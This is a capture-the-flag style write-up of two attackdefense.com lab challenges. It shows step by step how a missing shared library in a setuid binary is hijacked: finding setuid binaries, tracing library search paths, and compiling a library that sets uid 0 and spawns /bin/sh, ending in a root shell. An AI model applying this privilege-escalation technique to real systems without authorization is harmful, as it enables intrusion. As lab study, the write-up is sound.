Look’s like I am first again to do a write-up for these challenges in the attackdefense.com intermediate and hard categories. Hopefully this post will help turn hard challenges into easy pwnage moving forward.

Library Chaos (Hard)

A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges! 

Your mission is to get a root shell on the box! 

What are we looking for?

Why this command first? Well, I know we are looking to exploit a missing library reference to become root, this would be pointless if binary was not setuid or sudo, so we look for SETUID bins right away.

student@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/welcome
/bin/mount
/bin/umount
/bin/su

/usr/bin/welcome stands out, so let’s try that…

student@attackdefense:~$ /usr/bin/welcome
/usr/bin/welcome: error while loading shared libraries: libwelcome.so: cannot open shared object file: No such file or directory

Error while loading shared libraries! This is exactly what we want to see, if a binary is missing a shared library, if we can write to where it expects to load it from or if we can export the library load path then we win.

Like any good testers, we want to know a little more before jumping in, so we take a look at the dynamic section of the elf to see more info about the library.

student@attackdefense:~$ readelf -d /usr/bin/welcome
...
 0x0000000000000001 (NEEDED) Shared library: [libwelcome.so]
 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
...

Great, so we know it’s required but where does it load from? We can use LDD for that…

student@attackdefense:~$ LD_DEBUG=libs ldd /usr/bin/welcome | grep libwelcome.so | grep "trying file"

You will get a lot of results, you could put the library in any of these places but the first one is best for us as we know we can write to our own user directory.

86:       trying file=/home/student/lib/libwelcome.so

Now we try the fun part, we have all the bits we need. We do need some code we want to run though, so I choose a standard library injection file.

Next all we have to do is create lib in our own directory and then compile our shared library to libwelcome.so.

student@attackdefense:~$ mkdir lib && cd lib
student@attackdefense:~$ vi shared-file.c
student@attackdefense:~$ gcc -shared -o libwelcome.so -fPIC shared-file.c

We try and run it, but we get an error.

student@attackdefense:~/lib$ /usr/bin/welcome
/usr/bin/welcome: symbol lookup error: /usr/bin/welcome: undefined symbol: welcome

Sounds scary, but don’t worry a symbol is basically a global variable exported from compiled source, we can just add a dummy int value. To check it really missing the symbol we can verfiy that.

student@attackdefense:~/lib$ readelf -s /usr/bin/welcome | grep welcome
     4: 0000000000000000 0 FUNC GLOBAL DEFAULT  UND welcome
    51: 0000000000000000 0 FUNC GLOBAL DEFAULT  UND welcome

As expected, it wants the global variable as programmers know it but a symbol for the CPU sake.

The source code above exports the global variable welcome and that will fix the issue. Let’s re-try.

student@attackdefense:~/lib$ vi libwelcome.c
student@attackdefense:~/lib$ gcc -shared -o libwelcome.so -fPIC libwelcome.c
libwelcome.c: In function 'inject':
libwelcome.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
         setgid(0);
         ^~~~~~
         setenv
libwelcome.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
         setuid(0);
         ^~~~~~
         setenv
libwelcome.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
         execl("/bin/sh","sh",0);
         ^~~~~
libwelcome.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
libwelcome.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:~/lib$ ls
libwelcome.c  libwelcome.so  shared-file.c

It will show warnings but that is ok, no re-run the setuid.

Got r00t! Awesome. See nothing to be scared of, this was easy once you know how. I will do later posts on running process injection for shared libraries but you can go check that out yourself now if you’re hungry for more shared library privilege escalation.

Library Chaos II (Intermediate)

A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges! 

A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges! 

Your mission is to get a root shell on the box! 

Second challenge is similar, just easier.

student@attackdefense:~$ /usr/local/bin/token
/usr/local/bin/token: error while loading shared libraries: librandom.so: cannot open shared object file: No such file or directory
student@attackdefense:~$ LD_DEBUG=libs ldd /usr/local/bin/token | grep librandom.so | grep "trying file"
...
20: find library=librandom.so [0]; searching
20: trying file=/tmp/lib/tls/x86_64/avx512_1/x86_64/librandom.so
...
student@attackdefense:~$ #/tmp/ lol, we know we can write there
student@attackdefense:~/lib$ mkdir -p /tmp/lib/tls/x86_64/avx512_1/x86_64
student@attackdefense:~$ cd /tmp/lib/tls/x86_64/avx512_1/x86_64

We should be all set but let’s check for exported symbols to be sure…

student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ readelf -s /usr/local/bin/token | grep random_token
 9: 0000000000201010 4 OBJECT  GLOBAL DEFAULT 24 random_token
 54: 0000000000201010 4 OBJECT  GLOBAL DEFAULT 24 random_token

We just simply exported random_token as a symbol by declaring it as a global variable. Now to finish the escalation.

student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ vi random_token.c
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ gcc -shared -o librandom.so -fPIC random_token.c
random_token.c: In function 'inject':
random_token.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
         setgid(0);
         ^~~~~~
         setenv
random_token.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
         setuid(0);
         ^~~~~~
         setenv
random_token.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
         execl("/bin/sh","sh",0);
         ^~~~~
random_token.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
random_token.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ /usr/local/bin/token
# id
uid=0(root) gid=0(root) groups=0(root)
# echo "1337"
1337
# uname -a
Linux attackdefense.com 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Great, that was simple. Now we have all the knowledge we need to exploit missing SETUID libs in future, remember to always check even the common binaries that are ‘usually fruitless’, never underestimate the actions of drunk sysadmins.